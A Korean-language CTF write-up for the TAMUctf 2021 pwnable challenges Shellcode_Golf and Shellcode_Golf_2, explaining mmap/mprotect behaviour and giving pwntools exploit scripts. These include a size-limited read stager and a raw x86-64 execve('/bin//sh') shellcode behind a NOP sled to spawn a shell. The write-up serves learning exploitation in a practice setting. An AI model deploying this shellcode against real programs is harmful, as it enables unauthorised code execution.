CTF/Write UPs

[TAMUctf 2021 : Pwnable] Shellcode_Golf, Shellcode_Golf_2 풀이 (64bit, shellcode 제작, mmap, mprotect) (수정)

jir4vvit 2021. 4. 26. 23:27
문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

쉘코드랑 진짜 1도 안친해서 풀어보았다. 비슷한 문제라서 묶어서 풀이를 작성해본다..


Shellcode_Golf

문제 파일과 c코드를 같이 제공해 준다.

문제.c

 

mmap 함수 메모리를 매핑시켜주는 함수이다. 12바이트만큼 권한을 0으로 설정해준다.

근데 이 권한이 만약 4라면..? (문제 푸는 것과는 관련이 없음ㅋㅋ)

더보기
더보기

rwx 중에 x권한이 있다는 것을 의미한다.

리눅스 권한과 반대인데.. 리눅스는 rwx이 421 순이지 않는가...? 얘는 124 순이다 ㅋㅋ; 그냥 tmi

 

mprotect 함수는 원하는 코드 영역의 권한을 변경한다.

첫번째 인자인 shellcode는 0x1000의 주소여야 한다. 두번째 인자(12바이트)만큼 세번째 인자(rwx)의 권한을 주고 있다.

 

그리고 fgets함수로 shellcode에 12바이트를 입력하고, 마지막에는 shellcode(flag)를 실행한다. 

 

** 여기서 주의할 것이... fgets는 string으로 들어가기 때문에 12바이트만 아닌,, 11바이트만 쓸 수 있다 ㅜㅜ (마지막은 NULL) 

 

인자(flag)를 화면에 출력하는 것이 목표이다.

write(1, flag, len(flag))

shellcode(flag) 때 레지스터 상황

우리가 shellcode로 만들 수 있는건 12바이트밖에 없기 때문에 레지스터 상황을 보고 굳이 레지스터값을 바꾸지 않아도 될 것 같으면 안바꿔도 된다.

 

write 함수 syscall을 위해 RAX를 1, 무조건 바꿔줘야 함.

RDX(3번째 인자)는 사이즈 값, 굳이 안바꿔줘도 됨. 

RDI(첫번째 인자)는 1로 줘야하는데 무조건 바꿔줘야함.

RSI(두번째 인자)는 flag 주소로 줘야하는데 무조건 바꿔줘야 함.

 

이때 xchg 명령으로 RDX랑 RSI를 서로 바꿔주면 쉘코드 길이를 줄이는데 도움이 된다.

 

그리고 shellcode를 직접 제작(?)하려면 상단에 context.arch='amd64'을 추가해줘야 한다.

(이거 안하면 32bit 쉘코드로 나옴)

from pwn import *

p = process('./shellcode-golf')
# p = remote
e = ELF('./shellcode-golf')
context.arch='amd64'

# write(rdi, rsi, rdx)
# write(1, flag, len(flag))
payload = ''
payload += 'mov rdi, [r13]\n' # 4
payload += 'xchg rsi, rdx\n' # 3
payload += 'mov eax, edi\n' # 3
payload += 'syscall'  # 2

shellcode = asm(payload)
#print hex(len(shellcode))

pause()
p.sendline(shellcode)

print p.recvuntil('}')
pause()

p.interactive()

그렇게 꾸역꾸역 맞춰주면 위의 익스코드가 탄생하고 플래그 값을 읽을 수 있다.

0x1000만큼 플래그를 출력하니깐 flag를 화면에 출력하는데 묻혀서 print p.recvuntil('}') 해줬다.

 

그런데 이 문제... 놀랍지만(?) 셸을 딸 수 있다!

메모리는 0x1000단위로 매핑이 되는데 12바이트의 메모리의 권한만 수정한다는건 조금 이상하다. vmmap 했을 때 메모리 권한들이 다 0x1000 단위로 매핑되어 있고 이것들 단위로 권한이 설정되어 있는데 이것을 쪼개고 쪼개서 권한을 할당한다는 것이 이상하다고 생각될 수 있다.

그래서 디버깅해서 확인해보니.. mprotect 후에 mmap한 매모리 매핑한 영역 rwx 권한이 다 들어가 있었다;;

 

그래서 11바이트 입력할 때, read(0, shellcode입력할 영역, len(shellcode) 이런 쉘코드를 작성해서 주고,

read함수 인풋으로 nop('\x90')*100 + 64bit shellcode를 준다면 셸을 딸 수 있다.

 

이 아이디어가 다음 Golf2 문제에 사용된다.

from pwn import *

p = process('./shellcode-golf')
#p = remote
e = ELF('./shellcode-golf')
context.arch='amd64'

# read(rdi, rsi, rdx)
# read(0, shellcode, size)
payload = ''
payload += 'xor rax, rax\n'
payload += 'xor edi, edi\n'
#payload += 'xchg r13, rsi\n'
payload += 'syscall'

shellcode = asm(payload)
print len(shellcode)

pause()
p.sendline(shellcode)


payload = ''
payload += '\x90' * 100
payload += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"


p.send(payload)

p.interactive()

rdx 값이 저렇게 커도 돼? 

더보기
더보기

원래 read나 write 할 때 세번째 인자 size가 겁나 크면 터진다. 

이런식으로..

그런데 여기서는 터지지 않는다.

그 이유는 아마 스택에 입력받느냐, mmap으로 사용자가 할당한 메모리 공간에 입력받느냐 차이인 것 같다.

전자는 터지고 후자는 안터지더라..~~~~~~~~~~~~~~~

 

Shellcode_Golf_2

역시 문제 파일과 c코드를 같이 제공해 준다.

문제.c

이 문제는 셸을 따서 flag 파일을 직접 읽어야 한다.

바로 위의 문제에서 셸 딴거랑 풀이 방법이 똑같다.

 

read(1, shellcode입력할 위치, len(shellcode))

nop('\x90')*100 + 64bit shellcode

from pwn import *

p = process('./shellcode-golf-2')
#p = remote
e = ELF('./shellcode-golf-2')
context.arch='amd64'

# read(rdi, rsi, rdx)
# read(0, shellcode, size)
payload = ''
payload += 'xor edi, edi\n'
#payload += 'xchg r13, rsi\n'
payload += 'syscall'

shellcode = asm(payload)
print len(shellcode)

pause()
p.sendline(shellcode)


payload = ''
payload += '\x90' * 100
payload += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.send(payload)

p.interactive()